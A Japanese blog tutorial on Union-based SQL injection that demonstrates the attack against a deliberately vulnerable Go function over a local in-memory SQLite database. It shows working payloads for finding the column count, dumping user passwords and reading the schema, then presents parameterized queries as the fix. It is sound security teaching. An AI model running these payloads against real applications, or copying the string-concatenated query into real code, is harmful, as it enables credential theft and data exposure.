DEV

SQLインジェクション ② Union-based

SQLi シリーズ第2回。Go (database/sql + modernc.org/sqlite) で UNION 攻撃を実演。Python と違って型厳格な Go ならではの注意点も整理。

前回(Classic) の続き。今回は Union-based。前回は Python で書いたが、今回は Go (database/sql + modernc.org/sqlite) で書く。同じ攻撃でも、言語の特徴で攻撃の組み立て方が変わる、という発見もあったので合わせて書く。

Union-based とは

通常のクエリの結果に UNION SELECT を継ぎ足して、本来表示されないテーブルの中身を結果セットに混ぜるタイプ。Classic と違って認証突破ではなく、任意のテーブルの中身を読み出すのが目的。

成立条件は3つ:

  • 文字列連結で SQL を組み立てている
  • 結果がレスポンスに表示される
  • UNION のカラム数・型を合わせられる

Go で実演

SQLite ドライバは pure Go の modernc.org/sqlite を使う。CGo 不要で Windows でも追加ツール無しで動く。

環境準備

Terminal
go mod init sqli_demo
go get modernc.org/sqlite

setup と脆弱なコード

main.go
package main
import (
"database/sql"
"fmt"
"log"
_ "modernc.org/sqlite"
)
var db *sql.DB
func setup() {
var err error
db, err = sql.Open("sqlite", ":memory:")
if err != nil {
log.Fatal(err)
}
schema := `
CREATE TABLE products (id INTEGER, name TEXT, price INTEGER, category TEXT);
INSERT INTO products VALUES (1, 'りんご', 200, 'fruit');
INSERT INTO products VALUES (2, 'バナナ', 150, 'fruit');
INSERT INTO products VALUES (3, '人参', 80, 'vegetable');
CREATE TABLE users (id INTEGER, name TEXT, password TEXT);
INSERT INTO users VALUES (1, 'admin', 'super-secret');
INSERT INTO users VALUES (2, 'alice', 'hunter2');
`
if _, err := db.Exec(schema); err != nil {
log.Fatal(err)
}
}
// 脆弱: fmt.Sprintf で文字列連結している
func search(category string) {
sqlStr := fmt.Sprintf(
"SELECT id, name, price FROM products WHERE category = '%s'",
category,
)
rows, err := db.Query(sqlStr)
if err != nil {
fmt.Println("Error:", err)
return
}
defer rows.Close()
for rows.Next() {
var id, price int
var name string
if err := rows.Scan(&id, &name, &price); err != nil {
fmt.Println("Scan error:", err)
return
}
fmt.Printf(" row: id=%d name=%s price=%d\n", id, name, price)
}
}

正常な使い方:

search("fruit")
// row: id=1 name=りんご price=200
// row: id=2 name=バナナ price=150

Step 1: カラム数を探る

UNION は左右のカラム数が一致しないとエラー。1個ずつ増やして試す。

search("' UNION SELECT 0 --")
// Error: SQL logic error: SELECTs to the left and right of UNION
// do not have the same number of result columns
search("' UNION SELECT 0, '' --")
// Error: 同上
search("' UNION SELECT 0, '', 0 --")
// row: id=0 name= price=0 ← 通った

カラム数は3で確定。Python 版では NULL, NULL, NULL で揃えたが、Go の sql.Scan は int への NULL 代入を拒否する(converting NULL to int is unsupported)。 そのため Go ターゲットでは アプリ側のスキャン型に合うダミー値(0, '')で揃えるのが楽。

Step 2: 別テーブルの中身を抜く(型を合わせる)

products の3列の型は (int, string, int)。users から抜くには UNION 側の3列もこれに合わせる必要がある。

users.password を直接 price(int)に入れるとスキャンエラーで止まる。代わりに、文字列の name 列に詰めて漏らす:

search("' UNION SELECT id, name || ':' || password, 0 FROM users --")
// row: id=1 name=admin:super-secret price=0
// row: id=2 name=alice:hunter2 price=0

name 列に admin:super-secret、alice:hunter2 が流れ込んでくる。アプリ側は商品名として表示するつもりが、平文パスワードを画面に出すことになる。

Step 3: テーブル一覧を取る

SQLite はスキーマ情報を sqlite_master に持っている。

search("' UNION SELECT 0, name, 0 FROM sqlite_master WHERE type='table' --")
// row: id=0 name=products price=0
// row: id=0 name=users price=0

Step 4: スキーマ(CREATE 文)を取る

search("' UNION SELECT 0, sql, 0 FROM sqlite_master WHERE type='table' --")
// row: id=0 name=CREATE TABLE products (id INTEGER, name TEXT, price INTEGER, category TEXT) price=0
// row: id=0 name=CREATE TABLE users (id INTEGER, name TEXT, password TEXT) price=0

カラム名・型まで完全に開示される。Step 2 の SQL を組み立てる材料が揃う。

PostgreSQL / MySQL なら同じ立ち位置に information_schema.tables / information_schema.columns がある。

Go ならではの注意

Python の sqlite3 は結果を動的型のタプルで受け取るので、Union-based の攻撃側は SELECT NULL, NULL, NULL で型を気にせずカラム数を探れる。

Go の database/sql は Scan(&id, &name, &price) でスキャン先の Go 型に固定されるので、攻撃側は:

  1. レスポンスで返る列の Go 型をまず特定する(int / string / int など)
  2. その型に合うように UNION 側の式を組む(定数・文字列連結・CAST)

つまり Go は「攻撃のひと手間が増える」だけで、脆弱性自体は消えていない。スキャンエラーで一時的に止まることはあっても、攻撃側は Step4 のスキーマ漏洩で型を特定して何度でも組み直せる。

対策

文字列連結をやめてプレースホルダ(?)を使う。

safe.go
rows, err := db.Query(
"SELECT id, name, price FROM products WHERE category = ?",
category,
)

これで ' UNION SELECT ... を入れても、category 列と完全一致比較される1個の文字列値として扱われるので、UNION 自体が SQL の構文として認識されない。実行すると 0 件返る。

補助的な対策(根本対策ではない)

  • エラー / スキャンエラーを画面に返さない:Step 1 のカラム数特定の手がかりが減る。ただしレスポンスの行数差や HTTP ステータスから推測できるので、これだけでは守れない
  • DB ユーザーの権限を絞る:アプリ用 DB ユーザーで users や sqlite_master に SELECT できないようにしておけば、Union で読める範囲を狭められる

防壁の一枚目としては有効だが、プレースホルダ無しで「これだけで守れた」とはならない。

ローカルで動かす手順

Go を入れる:

PowerShell
winget install GoLang.Go

新しいシェルを開き直して、go version で go1.26.x 系が出れば OK。

プロジェクト:

Terminal
mkdir sqli_demo
cd sqli_demo
go mod init sqli_demo
go get modernc.org/sqlite
# main.go に上記コードを貼る (search を呼ぶ main() を足す)
go run .

次回予告

次は Error-based。DB のエラーメッセージそのものに中身を混ぜさせて抜く手法。MySQL の updatexml() あたりで実演する予定。